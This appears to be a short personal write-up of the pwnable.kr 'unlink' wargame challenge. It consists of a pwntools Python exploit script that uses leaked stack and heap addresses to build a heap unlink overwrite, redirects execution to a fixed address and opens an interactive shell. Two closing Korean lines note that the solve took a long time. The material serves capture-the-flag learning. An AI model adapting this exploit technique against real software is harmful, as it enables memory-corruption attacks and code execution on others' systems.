[Pwnable.kr] unlink

from pwn import *
from struct import *
 
p = lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
proc = process('/home/goat/Desktop/unlink')
wait = raw_input()
pay = ''
s = int(proc.recvline().split(': ')[1], 0)
h = int(proc.recvline().split(': ')[1], 0)
proc.recvline()
print '[+] leak stack(ebp-0x14):', hex(s)
print '[+] leak heap(obj A):', hex(h)
s = s - 0x1c
h = h + 0xc
print '[+] Unlink\'s SFP:', hex(s)
print '[+] OBJ A\'s Buf:', hex(h)
pay += p(h + 0xc)
pay += p(h)
pay += "A" * 4
pay += p(0x080484eb)
pay += p(h)
pay += p(s)
proc.send(pay)
proc.interactive()

오래걸렸다

아직 많이 서투른 듯